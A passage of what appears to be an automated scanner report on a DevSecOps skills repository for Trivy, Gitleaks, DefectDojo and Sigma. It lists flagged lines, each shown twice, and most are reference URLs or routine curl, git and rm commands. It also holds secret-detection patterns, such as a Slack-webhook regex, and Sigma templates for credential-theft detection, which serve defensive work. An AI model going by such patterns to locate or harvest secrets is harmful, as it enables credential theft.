    - [Checkov Suppression Documentation](https://www.checkov.io/2.Basics/Suppressing%20and%20Skipping%20Policies.html)
  • Network accessline 430
    - [Checkov Suppression Documentation](https://www.checkov.io/2.Basics/Suppressing%20and%20Skipping%20Policies.html)
  • Network accessline 431
    - [Security Exception Management Best Practices](https://owasp.org/www-community/Security_Exception_Management)
  • Network accessline 431
    - [Security Exception Management Best Practices](https://owasp.org/www-community/Security_Exception_Management)

skills/devsecops/sca-trivy/SKILL.md

  • Network accessline 18
    tools: [trivy, docker] references:   - https://aquasecurity.github.io/trivy/
  • Network accessline 18
    tools: [trivy, docker] references:   - https://aquasecurity.github.io/trivy/
  • Network accessline 19
    references:   - https://aquasecurity.github.io/trivy/   - https://owasp.org/www-project-dependency-check/
  • Network accessline 19
    references:   - https://aquasecurity.github.io/trivy/   - https://owasp.org/www-project-dependency-check/
  • Network accessline 20
    - https://aquasecurity.github.io/trivy/
  • Network accessline 20
    - https://aquasecurity.github.io/trivy/
  • Network accessline 21
    - https://owasp.org/www-project-dependency-check/
  • Network accessline 21
    - https://owasp.org/www-project-dependency-check/
  • Network accessline 22
    - https://nvd.nist.gov/
  • Network accessline 22
    - https://nvd.nist.gov/
  • Network accessline 23
    - https://www.cisa.gov/sbom
  • Network accessline 23
    - https://www.cisa.gov/sbom
  • Network accessline 452
    - [Trivy Official Documentation](https://aquasecurity.github.io/trivy/)
  • Network accessline 452
    - [Trivy Official Documentation](https://aquasecurity.github.io/trivy/)
  • Network accessline 453
    - [OWASP Dependency Check](https://owasp.org/www-project-dependency-check/)
  • Network accessline 453
    - [OWASP Dependency Check](https://owasp.org/www-project-dependency-check/)
  • Network accessline 454
    - [NVD - National Vulnerability Database](https://nvd.nist.gov/)
  • Network accessline 454
    - [NVD - National Vulnerability Database](https://nvd.nist.gov/)
  • Network accessline 455
    - [CISA SBOM Guidelines](https://www.cisa.gov/sbom)
  • Network accessline 455
    - [CISA SBOM Guidelines](https://www.cisa.gov/sbom)
  • Network accessline 456
    - [CWE-1104: Use of Unmaintained Third-Party Components](https://cwe.mitre.org/data/definitions/1104.html)
  • Network accessline 456
    - [CWE-1104: Use of Unmaintained Third-Party Components](https://cwe.mitre.org/data/definitions/1104.html)
  • Network accessline 457
    - [OWASP Top 10 - Vulnerable and Outdated Components](https://owasp.org/Top10/)
  • Network accessline 457
    - [OWASP Top 10 - Vulnerable and Outdated Components](https://owasp.org/Top10/)

skills/devsecops/secrets-gitleaks/SKILL.md

  • Network accessline 17
    tools: [gitleaks, git] references:   - https://github.com/gitleaks/gitleaks
  • Network accessline 17
    tools: [gitleaks, git] references:   - https://github.com/gitleaks/gitleaks
  • Network accessline 18
    references:   - https://github.com/gitleaks/gitleaks   - https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
  • Network accessline 18
    references:   - https://github.com/gitleaks/gitleaks   - https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
  • Network accessline 19
    - https://github.com/gitleaks/gitleaks
  • Network accessline 19
    - https://github.com/gitleaks/gitleaks
  • Network accessline 20
    - https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
  • Network accessline 20
    - https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
  • Network accessline 21
    - https://cwe.mitre.org/data/definitions/798.html
  • Network accessline 21
    - https://cwe.mitre.org/data/definitions/798.html
  • Access to secretsline 159
    [Credential-related source omitted]
  • Access to secretsline 159
    [Credential-related source omitted]
  • Network accessline 244
    # 1. Clone repository with full history git clone --mirror https://github.com/org/repo.git audit-repo
  • Network accessline 244
    # 1. Clone repository with full history git clone --mirror https://github.com/org/repo.git audit-repo
  • Network accessline 245
    git clone --mirror https://github.com/org/repo.git audit-repo
  • Network accessline 245
    git clone --mirror https://github.com/org/repo.git audit-repo
  • Access to secretsline 274
    [Credential-related source omitted]
  • Access to secretsline 274
    [Credential-related source omitted]
  • Dangerous shell operationline 280
    rm test.txt
  • Dangerous shell operationline 280
    rm test.txt
  • Access to secretsline 470
    [Credential-related source omitted]
  • Access to secretsline 470
    [Credential-related source omitted]
  • Network accessline 496
    - [Gitleaks Official Documentation](https://github.com/gitleaks/gitleaks)
  • Network accessline 496
    - [Gitleaks Official Documentation](https://github.com/gitleaks/gitleaks)
  • Network accessline 497
    - [OWASP A07:2021 - Identification and Authentication Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)
  • Network accessline 497
    - [OWASP A07:2021 - Identification and Authentication Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)
  • Network accessline 498
    - [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)
  • Network accessline 498
    - [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)
  • Network accessline 499
    - [CWE-259: Use of Hard-coded Password](https://cwe.mitre.org/data/definitions/259.html)
  • Network accessline 499
    - [CWE-259: Use of Hard-coded Password](https://cwe.mitre.org/data/definitions/259.html)
  • Network accessline 500
    - [CWE-321: Use of Hard-coded Cryptographic Key](https://cwe.mitre.org/data/definitions/321.html)
  • Network accessline 500
    - [CWE-321: Use of Hard-coded Cryptographic Key](https://cwe.mitre.org/data/definitions/321.html)
  • Network accessline 501
    - [PCI-DSS Requirements](https://www.pcisecuritystandards.org/)
  • Network accessline 501
    - [PCI-DSS Requirements](https://www.pcisecuritystandards.org/)
  • Network accessline 502
    - [SOC2 Security Criteria](https://www.aicpa.org/interestareas/frc/assuranceadvisoryservices/aicpasoc2report.html)
  • Network accessline 502
    - [SOC2 Security Criteria](https://www.aicpa.org/interestareas/frc/assuranceadvisoryservices/aicpasoc2report.html)

skills/devsecops/secrets-gitleaks/assets/config-custom.toml

  • Network accessline 124
    # # Test regex pattern online: #   https://regex101.com/ (select Golang flavor)
  • Network accessline 124
    # # Test regex pattern online: #   https://regex101.com/ (select Golang flavor)
  • Network accessline 125
    # Test regex pattern online: #   https://regex101.com/ (select Golang flavor) #
  • Network accessline 125
    # Test regex pattern online: #   https://regex101.com/ (select Golang flavor) #
  • Network accessline 126
    #   https://regex101.com/ (select Golang flavor)
  • Network accessline 126
    #   https://regex101.com/ (select Golang flavor)
  • Access to secretsline 152
    [Credential-related source omitted]
  • Access to secretsline 152
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 170
    [Credential-related source omitted]
  • Access to secretsline 170
    [Credential-related source omitted]
  • Access to secretsline 177
    [Credential-related source omitted]
  • Access to secretsline 177
    [Credential-related source omitted]

skills/devsecops/secrets-gitleaks/assets/config-strict.toml

  • Access to secretsline 35
    [Credential-related source omitted]
  • Access to secretsline 35
    [Credential-related source omitted]

skills/devsecops/secrets-gitleaks/assets/github-action.yml

  • Network accessline 112
    See [Secret Scanning Guide](https://github.com/${{ github.repository }}/blob/main/docs/secret-scanning.md) for remediation steps.`;
  • Network accessline 112
    See [Secret Scanning Guide](https://github.com/${{ github.repository }}/blob/main/docs/secret-scanning.md) for remediation steps.`;

skills/devsecops/secrets-gitleaks/assets/gitlab-ci.yml

  • Network accessline 202
    before_script:     - apk add --no-cache curl jq
  • Network accessline 202
    before_script:     - apk add --no-cache curl jq
  • Network accessline 203
    - apk add --no-cache curl jq
  • Network accessline 203
    - apk add --no-cache curl jq
  • Network accessline 218
    # Post comment to merge request         curl --request POST \
  • Network accessline 218
    # Post comment to merge request         curl --request POST \
  • Network accessline 219
    curl --request POST \
  • Network accessline 219
    curl --request POST \
  • Access to secretsline 220
    [Credential-related source omitted]
  • Access to secretsline 220
    [Credential-related source omitted]

skills/devsecops/secrets-gitleaks/assets/precommit-config.yaml

  • Network accessline 4
    # Run manually: pre-commit run --all-files # # More info: https://pre-commit.com/
  • Network accessline 4
    # Run manually: pre-commit run --all-files # # More info: https://pre-commit.com/
  • Network accessline 6
    # More info: https://pre-commit.com/
  • Network accessline 6
    # More info: https://pre-commit.com/
  • Network accessline 8
    repos:   - repo: https://github.com/gitleaks/gitleaks
  • Network accessline 8
    repos:   - repo: https://github.com/gitleaks/gitleaks
  • Network accessline 9
    - repo: https://github.com/gitleaks/gitleaks
  • Network accessline 9
    - repo: https://github.com/gitleaks/gitleaks
  • Network accessline 10
    rev: v8.18.0  # Update to latest version: https://github.com/gitleaks/gitleaks/releases
  • Network accessline 10
    rev: v8.18.0  # Update to latest version: https://github.com/gitleaks/gitleaks/releases
  • Network accessline 23
    # Detect private keys   - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 23
    # Detect private keys   - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 24
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 24
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 30
    # Check for AWS credentials   - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 30
    # Check for AWS credentials   - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 31
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 31
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 38
    # Prevent large files (may contain secrets)   - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 38
    # Prevent large files (may contain secrets)   - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 39
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 39
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 46
    # Check for merge conflicts   - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 46
    # Check for merge conflicts   - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 47
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 47
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 53
    # Ensure files end with newline   - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 53
    # Ensure files end with newline   - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 54
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 54
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 60
    # Trim trailing whitespace   - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 60
    # Trim trailing whitespace   - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 61
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 61
    - repo: https://github.com/pre-commit/pre-commit-hooks

skills/devsecops/secrets-gitleaks/references/compliance_mapping.md

  • Access to secretsline 99
    [Credential-related source omitted]
  • Access to secretsline 99
    [Credential-related source omitted]
  • Network accessline 276
    - name: Report to SIEM         run: |           curl -X POST https://siem.company.com/api/events \
  • Network accessline 276
    - name: Report to SIEM         run: |           curl -X POST https://siem.company.com/api/events \
  • Network accessline 277
    run: |           curl -X POST https://siem.company.com/api/events \             -H "Content-Type: application/json" \
  • Network accessline 277
    run: |           curl -X POST https://siem.company.com/api/events \             -H "Content-Type: application/json" \
  • Network accessline 278
    curl -X POST https://siem.company.com/api/events \
  • Network accessline 278
    curl -X POST https://siem.company.com/api/events \

skills/devsecops/secrets-gitleaks/references/detection_rules.md

  • Network accessline 140
    ### Slack Webhook - **Rule ID**: `slack-webhook` - **Pattern**: `https://hooks\\.slack\\.com/services/T[a-zA-Z0-9_]+/B[a-zA-Z0-9_]+/[a-zA-Z0-9_]+`
  • Network accessline 140
    ### Slack Webhook - **Rule ID**: `slack-webhook` - **Pattern**: `https://hooks\\.slack\\.com/services/T[a-zA-Z0-9_]+/B[a-zA-Z0-9_]+/[a-zA-Z0-9_]+`
  • Network accessline 141
    - **Rule ID**: `slack-webhook` - **Pattern**: `https://hooks\\.slack\\.com/services/T[a-zA-Z0-9_]+/B[a-zA-Z0-9_]+/[a-zA-Z0-9_]+` - **CWE**: CWE-798
  • Network accessline 141
    - **Rule ID**: `slack-webhook` - **Pattern**: `https://hooks\\.slack\\.com/services/T[a-zA-Z0-9_]+/B[a-zA-Z0-9_]+/[a-zA-Z0-9_]+` - **CWE**: CWE-798
  • Network accessline 142
    - **Pattern**: `https://hooks\\.slack\\.com/services/T[a-zA-Z0-9_]+/B[a-zA-Z0-9_]+/[a-zA-Z0-9_]+`
  • Network accessline 142
    - **Pattern**: `https://hooks\\.slack\\.com/services/T[a-zA-Z0-9_]+/B[a-zA-Z0-9_]+/[a-zA-Z0-9_]+`
  • Access to secretsline 236
    [Credential-related source omitted]
  • Access to secretsline 236
    [Credential-related source omitted]

skills/devsecops/secrets-gitleaks/references/false_positives.md

  • Network accessline 30
    [Credential-related source omitted]
  • Network accessline 30
    [Credential-related source omitted]
  • Network accessline 32
    [Credential-related source omitted]
  • Network accessline 32
    [Credential-related source omitted]
  • Access to secretsline 128
    [Credential-related source omitted]
  • Access to secretsline 128
    [Credential-related source omitted]
  • Access to secretsline 133
    [Credential-related source omitted]
  • Access to secretsline 133
    [Credential-related source omitted]
  • Access to secretsline 175
    [Credential-related source omitted]
  • Access to secretsline 175
    [Credential-related source omitted]
  • Access to secretsline 481
    [Credential-related source omitted]
  • Access to secretsline 481
    [Credential-related source omitted]

skills/devsecops/secrets-gitleaks/references/remediation_guide.md

  • Access to secretsline 137
    [Credential-related source omitted]
  • Access to secretsline 137
    [Credential-related source omitted]
  • Access to secretsline 145
    [Credential-related source omitted]
  • Access to secretsline 145
    [Credential-related source omitted]
  • Access to secretsline 146
    [Credential-related source omitted]
  • Access to secretsline 146
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 149
    [Credential-related source omitted]
  • Access to secretsline 149
    [Credential-related source omitted]
  • Network accessline 157
    credential = DefaultAzureCredential() client = SecretClient(vault_url="https://myvault.vault.azure.net/", credential=credential)
  • Network accessline 157
    credential = DefaultAzureCredential() client = SecretClient(vault_url="https://myvault.vault.azure.net/", credential=credential)
  • Network accessline 158
    client = SecretClient(vault_url="https://myvault.vault.azure.net/", credential=credential)
  • Network accessline 158
    client = SecretClient(vault_url="https://myvault.vault.azure.net/", credential=credential)
  • Network accessline 227
    # Or download JAR from https://rtyley.github.io/bfg-repo-cleaner/
  • Network accessline 227
    # Or download JAR from https://rtyley.github.io/bfg-repo-cleaner/
  • Dangerous shell operationline 267
    git rm config/secrets.yaml
  • Dangerous shell operationline 267
    git rm config/secrets.yaml
  • Access to secretsline 468
    [Credential-related source omitted]
  • Access to secretsline 468
    [Credential-related source omitted]
  • Access to secretsline 470
    [Credential-related source omitted]
  • Access to secretsline 470
    [Credential-related source omitted]
  • Access to secretsline 473
    [Credential-related source omitted]
  • Access to secretsline 473
    [Credential-related source omitted]

skills/devsecops/vuln-defectdojo/SKILL.md

  • Network accessline 21
    tools: [docker] references:   - https://defectdojo.github.io/django-DefectDojo/
  • Network accessline 21
    tools: [docker] references:   - https://defectdojo.github.io/django-DefectDojo/
  • Network accessline 22
    references:   - https://defectdojo.github.io/django-DefectDojo/   - https://github.com/DefectDojo/django-DefectDojo
  • Network accessline 22
    references:   - https://defectdojo.github.io/django-DefectDojo/   - https://github.com/DefectDojo/django-DefectDojo
  • Network accessline 23
    - https://defectdojo.github.io/django-DefectDojo/
  • Network accessline 23
    - https://defectdojo.github.io/django-DefectDojo/
  • Network accessline 24
    - https://github.com/DefectDojo/django-DefectDojo
  • Network accessline 24
    - https://github.com/DefectDojo/django-DefectDojo
  • Network accessline 25
    - https://owasp.org/www-project-defectdojo/
  • Network accessline 25
    - https://owasp.org/www-project-defectdojo/
  • Network accessline 44
    git clone https://github.com/DefectDojo/django-DefectDojo.git
  • Network accessline 44
    git clone https://github.com/DefectDojo/django-DefectDojo.git
  • Network accessline 46
    # Access at http://localhost:8080 — change admin/admin password immediately
  • Network accessline 46
    # Access at http://localhost:8080 — change admin/admin password immediately
  • Network accessline 51
    pip install requests ./scripts/import_findings.py \   --host http://localhost:8080 \
  • Network accessline 51
    pip install requests ./scripts/import_findings.py \   --host http://localhost:8080 \
  • Network accessline 52
    ./scripts/import_findings.py    --host http://localhost:8080
  • Network accessline 52
    ./scripts/import_findings.py    --host http://localhost:8080
  • Network accessline 53
    --host http://localhost:8080 \
  • Network accessline 53
    --host http://localhost:8080 \
  • Network accessline 69
    # Create product curl -s -X POST "$DD_HOST/api/v2/products/" \
  • Network accessline 69
    # Create product curl -s -X POST "$DD_HOST/api/v2/products/" \
  • Network accessline 70
    [Credential-related source omitted]
  • Network accessline 70
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]
  • Network accessline 75
    # Create engagement — use template for full options curl -s -X POST "$DD_HOST/api/v2/engagements/" \
  • Network accessline 75
    # Create engagement — use template for full options curl -s -X POST "$DD_HOST/api/v2/engagements/" \
  • Network accessline 76
    [Credential-related source omitted]
  • Network accessline 76
    [Credential-related source omitted]
  • Access to secretsline 76
    [Credential-related source omitted]
  • Access to secretsline 76
    [Credential-related source omitted]
  • Access to secretsline 77
    [Credential-related source omitted]
  • Access to secretsline 77
    [Credential-related source omitted]
  • Access to secretsline 88
    [Credential-related source omitted]
  • Access to secretsline 88
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]
  • Access to secretsline 96
    [Credential-related source omitted]
  • Access to secretsline 96
    [Credential-related source omitted]
  • Access to secretsline 100
    [Credential-related source omitted]
  • Access to secretsline 100
    [Credential-related source omitted]
  • Access to secretsline 115
    [Credential-related source omitted]
  • Access to secretsline 115
    [Credential-related source omitted]
  • Access to secretsline 121
    [Credential-related source omitted]
  • Access to secretsline 121
    [Credential-related source omitted]
  • Network accessline 206
    [Credential-related source omitted]
  • Network accessline 206
    [Credential-related source omitted]
  • Access to secretsline 206
    [Credential-related source omitted]
  • Access to secretsline 206
    [Credential-related source omitted]
  • Network accessline 210
    - [DefectDojo Documentation](https://defectdojo.github.io/django-DefectDojo/)
  • Network accessline 210
    - [DefectDojo Documentation](https://defectdojo.github.io/django-DefectDojo/)
  • Network accessline 211
    - [DefectDojo GitHub](https://github.com/DefectDojo/django-DefectDojo)
  • Network accessline 211
    - [DefectDojo GitHub](https://github.com/DefectDojo/django-DefectDojo)
  • Network accessline 212
    - [OWASP DefectDojo Project](https://owasp.org/www-project-defectdojo/)
  • Network accessline 212
    - [OWASP DefectDojo Project](https://owasp.org/www-project-defectdojo/)
  • Network accessline 213
    - [DefectDojo API Reference](https://demo.defectdojo.org/api/v2/oa3/swagger-ui/)
  • Network accessline 213
    - [DefectDojo API Reference](https://demo.defectdojo.org/api/v2/oa3/swagger-ui/)

skills/devsecops/vuln-defectdojo/assets/defectdojo-engagement-template.json

  • Network accessline 12
    "commit_hash": "",   "branch_tag": "main",   "source_code_management_uri": "https://github.com/your-org/your-repo",
  • Network accessline 12
    "commit_hash": "",   "branch_tag": "main",   "source_code_management_uri": "https://github.com/your-org/your-repo",
  • Network accessline 13
    "branch_tag": "main",   "source_code_management_uri": "https://github.com/your-org/your-repo",   "build_server": null,
  • Network accessline 13
    "branch_tag": "main",   "source_code_management_uri": "https://github.com/your-org/your-repo",   "build_server": null,
  • Network accessline 14
    "source_code_management_uri": "https://github.com/your-org/your-repo",
  • Network accessline 14
    "source_code_management_uri": "https://github.com/your-org/your-repo",

skills/devsecops/vuln-defectdojo/references/tool-parser-map.md

  • Network accessline 20
    | `dast-zap` | `ZAP Scan` | XML | `zap-cli report -o zap.xml -f xml` | | `dast-zap` (API) | `ZAP API Scan` | JSON | Use ZAP API scan report output | | `dast-nuclei` | `Nuclei Scan` | JSON | `nuclei -target https://target -json-export nuclei
  • Network accessline 20
    | `dast-zap` | `ZAP Scan` | XML | `zap-cli report -o zap.xml -f xml` | | `dast-zap` (API) | `ZAP API Scan` | JSON | Use ZAP API scan report output | | `dast-nuclei` | `Nuclei Scan` | JSON | `nuclei -target https://target -json-export nuclei
  • Network accessline 21
    | `dast-zap` (API) | `ZAP API Scan` | JSON | Use ZAP API scan report output | | `dast-nuclei` | `Nuclei Scan` | JSON | `nuclei -target https://target -json-export nuclei.json` | | `sca-blackduck` | `Black Duck Hub Scan` | JSON | Export via
  • Network accessline 21
    | `dast-zap` (API) | `ZAP API Scan` | JSON | Use ZAP API scan report output | | `dast-nuclei` | `Nuclei Scan` | JSON | `nuclei -target https://target -json-export nuclei.json` | | `sca-blackduck` | `Black Duck Hub Scan` | JSON | Export via
  • Network accessline 22
    | `dast-nuclei` | `Nuclei Scan` | JSON | `nuclei -target https://target -json-export nuclei.json` |
  • Network accessline 22
    | `dast-nuclei` | `Nuclei Scan` | JSON | `nuclei -target https://target -json-export nuclei.json` |
  • Network accessline 66
    Date,Title,CWE,URL,Severity,Description,Mitigation,Impact,References,Active,Verified 2026-01-15,"SQL Injection in /api/users",89,"https://app.example.com/api/users",High,"Unsanitized input passed to SQL query","Use parameterized queries","D
  • Network accessline 66
    Date,Title,CWE,URL,Severity,Description,Mitigation,Impact,References,Active,Verified 2026-01-15,"SQL Injection in /api/users",89,"https://app.example.com/api/users",High,"Unsanitized input passed to SQL query","Use parameterized queries","D
  • Network accessline 67
    2026-01-15,"SQL Injection in /api/users",89,"https://app.example.com/api/users",High,"Unsanitized input passed to SQL query","Use parameterized queries","Data exfiltration possible","CWE-89",true,false
  • Network accessline 67
    2026-01-15,"SQL Injection in /api/users",89,"https://app.example.com/api/users",High,"Unsanitized input passed to SQL query","Use parameterized queries","Data exfiltration possible","CWE-89",true,false
  • Dangerous shell operationline 79
    [Credential-related source omitted]
  • Dangerous shell operationline 79
    [Credential-related source omitted]
  • Network accessline 79
    [Credential-related source omitted]
  • Network accessline 79
    [Credential-related source omitted]
  • Access to secretsline 79
    [Credential-related source omitted]
  • Access to secretsline 79
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]

skills/devsecops/vuln-defectdojo/scripts/import_findings.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 27
    %(prog)s --host http://localhost:8080 --api-key TOKEN --engagement-id 1 \\
  • Network accessline 27
    %(prog)s --host http://localhost:8080 --api-key TOKEN --engagement-id 1 \\
  • Access to secretsline 31
    [Credential-related source omitted]
  • Access to secretsline 31
    [Credential-related source omitted]
  • Access to secretsline 35
    [Credential-related source omitted]
  • Access to secretsline 35
    [Credential-related source omitted]
  • Network accessline 42
    parser.add_argument(         "--host", required=True,         help="DefectDojo base URL, e.g. http://localhost:8080"
  • Network accessline 42
    parser.add_argument(         "--host", required=True,         help="DefectDojo base URL, e.g. http://localhost:8080"
  • Network accessline 43
    "--host", required=True,         help="DefectDojo base URL, e.g. http://localhost:8080"     )
  • Network accessline 43
    "--host", required=True,         help="DefectDojo base URL, e.g. http://localhost:8080"     )
  • Network accessline 44
    help="DefectDojo base URL, e.g. http://localhost:8080"
  • Network accessline 44
    help="DefectDojo base URL, e.g. http://localhost:8080"
  • Access to secretsline 83
    [Credential-related source omitted]
  • Access to secretsline 83
    [Credential-related source omitted]
  • Network accessline 100
    with open(args.scan_file, "rb") as f:         files = {"file": (args.scan_file.name, f, "application/octet-stream")}         response = requests.post(url, headers=headers, data=data, files=files, timeout=120)
  • Network accessline 100
    with open(args.scan_file, "rb") as f:         files = {"file": (args.scan_file.name, f, "application/octet-stream")}         response = requests.post(url, headers=headers, data=data, files=files, timeout=120)
  • Network accessline 102
    response = requests.post(url, headers=headers, data=data, files=files, timeout=120)
  • Network accessline 102
    response = requests.post(url, headers=headers, data=data, files=files, timeout=120)

skills/incident-response/detection-sigma/SKILL.md

  • Network accessline 17
    packages: [pysigma, pysigma-backend-splunk, pysigma-backend-elasticsearch, pyyaml] references:   - https://github.com/SigmaHQ/sigma
  • Network accessline 17
    packages: [pysigma, pysigma-backend-splunk, pysigma-backend-elasticsearch, pyyaml] references:   - https://github.com/SigmaHQ/sigma
  • Network accessline 18
    references:   - https://github.com/SigmaHQ/sigma   - https://github.com/SigmaHQ/pySigma
  • Network accessline 18
    references:   - https://github.com/SigmaHQ/sigma   - https://github.com/SigmaHQ/pySigma
  • Network accessline 19
    - https://github.com/SigmaHQ/sigma
  • Network accessline 19
    - https://github.com/SigmaHQ/sigma
  • Network accessline 20
    - https://github.com/SigmaHQ/pySigma
  • Network accessline 20
    - https://github.com/SigmaHQ/pySigma
  • Network accessline 21
    - https://sigmahq.io/
  • Network accessline 21
    - https://sigmahq.io/
  • Network accessline 52
    description: Detects suspicious PowerShell execution with encoded commands references:     - https://attack.mitre.org/techniques/T1059/001/
  • Network accessline 52
    description: Detects suspicious PowerShell execution with encoded commands references:     - https://attack.mitre.org/techniques/T1059/001/
  • Network accessline 53
    references:     - https://attack.mitre.org/techniques/T1059/001/ author: Your Name
  • Network accessline 53
    references:     - https://attack.mitre.org/techniques/T1059/001/ author: Your Name
  • Network accessline 54
    - https://attack.mitre.org/techniques/T1059/001/
  • Network accessline 54
    - https://attack.mitre.org/techniques/T1059/001/
  • Network accessline 205
    references:     - https://attack.mitre.org/techniques/T1059/
  • Network accessline 205
    references:     - https://attack.mitre.org/techniques/T1059/
  • Network accessline 206
    - https://attack.mitre.org/techniques/T1059/
  • Network accessline 206
    - https://attack.mitre.org/techniques/T1059/
  • Network accessline 501
    - [Sigma Specification](https://github.com/SigmaHQ/sigma-specification)
  • Network accessline 501
    - [Sigma Specification](https://github.com/SigmaHQ/sigma-specification)
  • Network accessline 502
    - [SigmaHQ Rule Repository](https://github.com/SigmaHQ/sigma/tree/master/rules)
  • Network accessline 502
    - [SigmaHQ Rule Repository](https://github.com/SigmaHQ/sigma/tree/master/rules)
  • Network accessline 503
    - [pySigma Documentation](https://github.com/SigmaHQ/pySigma)
  • Network accessline 503
    - [pySigma Documentation](https://github.com/SigmaHQ/pySigma)
  • Network accessline 504
    - [Sigma Converter Web Tool](https://sigconverter.io/)
  • Network accessline 504
    - [Sigma Converter Web Tool](https://sigconverter.io/)
  • Network accessline 505
    - [MITRE ATT&CK Framework](https://attack.mitre.org/)
  • Network accessline 505
    - [MITRE ATT&CK Framework](https://attack.mitre.org/)

skills/incident-response/detection-sigma/assets/compliance-rules/iso27001-logging.yml

  • Network accessline 7
    required by A.12.4.1 (Event logging). references:     - https://www.iso.org/standard/54534.html
  • Network accessline 7
    required by A.12.4.1 (Event logging). references:     - https://www.iso.org/standard/54534.html
  • Network accessline 8
    references:     - https://www.iso.org/standard/54534.html author: Your Name
  • Network accessline 8
    references:     - https://www.iso.org/standard/54534.html author: Your Name
  • Network accessline 9
    - https://www.iso.org/standard/54534.html
  • Network accessline 9
    - https://www.iso.org/standard/54534.html

skills/incident-response/detection-sigma/assets/compliance-rules/nist-800-53-audit.yml

  • Network accessline 7
    AU-12 (Audit Generation) controls. references:     - https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final
  • Network accessline 7
    AU-12 (Audit Generation) controls. references:     - https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final
  • Network accessline 8
    references:     - https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final author: Your Name
  • Network accessline 8
    references:     - https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final author: Your Name
  • Network accessline 9
    - https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final
  • Network accessline 9
    - https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final

skills/incident-response/detection-sigma/assets/compliance-rules/pci-dss-monitoring.yml

  • Network accessline 6
    Monitors critical security-relevant events required by PCI-DSS. references:     - https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf
  • Network accessline 6
    Monitors critical security-relevant events required by PCI-DSS. references:     - https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf
  • Network accessline 7
    references:     - https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf author: Your Name
  • Network accessline 7
    references:     - https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf author: Your Name
  • Network accessline 8
    - https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf
  • Network accessline 8
    - https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf

skills/incident-response/detection-sigma/assets/rule-templates/credential-access.yml

  • Network accessline 4
    description: Detects credential theft/dumping using [specific technique/tool] references:     - https://attack.mitre.org/tactics/TA0006/
  • Network accessline 4
    description: Detects credential theft/dumping using [specific technique/tool] references:     - https://attack.mitre.org/tactics/TA0006/
  • Network accessline 5
    references:     - https://attack.mitre.org/tactics/TA0006/ author: Your Name
  • Network accessline 5
    references:     - https://attack.mitre.org/tactics/TA0006/ author: Your Name
  • Network accessline 6
    - https://attack.mitre.org/tactics/TA0006/
  • Network accessline 6
    - https://attack.mitre.org/tactics/TA0006/

skills/incident-response/detection-sigma/assets/rule-templates/lateral-movement.yml

  • Network accessline 4
    description: Detects lateral movement activity using [specific technique/tool] references:     - https://attack.mitre.org/tactics/TA0008/
  • Network accessline 4
    description: Detects lateral movement activity using [specific technique/tool] references:     - https://attack.mitre.org/tactics/TA0008/
  • Network accessline 5
    references:     - https://attack.mitre.org/tactics/TA0008/ author: Your Name
  • Network accessline 5
    references:     - https://attack.mitre.org/tactics/TA0008/ author: Your Name
  • Network accessline 6
    - https://attack.mitre.org/tactics/TA0008/
  • Network accessline 6
    - https://attack.mitre.org/tactics/TA0008/

skills/incident-response/detection-sigma/assets/rule-templates/persistence.yml

  • Network accessline 4
    description: Detects persistence establishment using [specific technique] references:     - https://attack.mitre.org/tactics/TA0003/
  • Network accessline 4
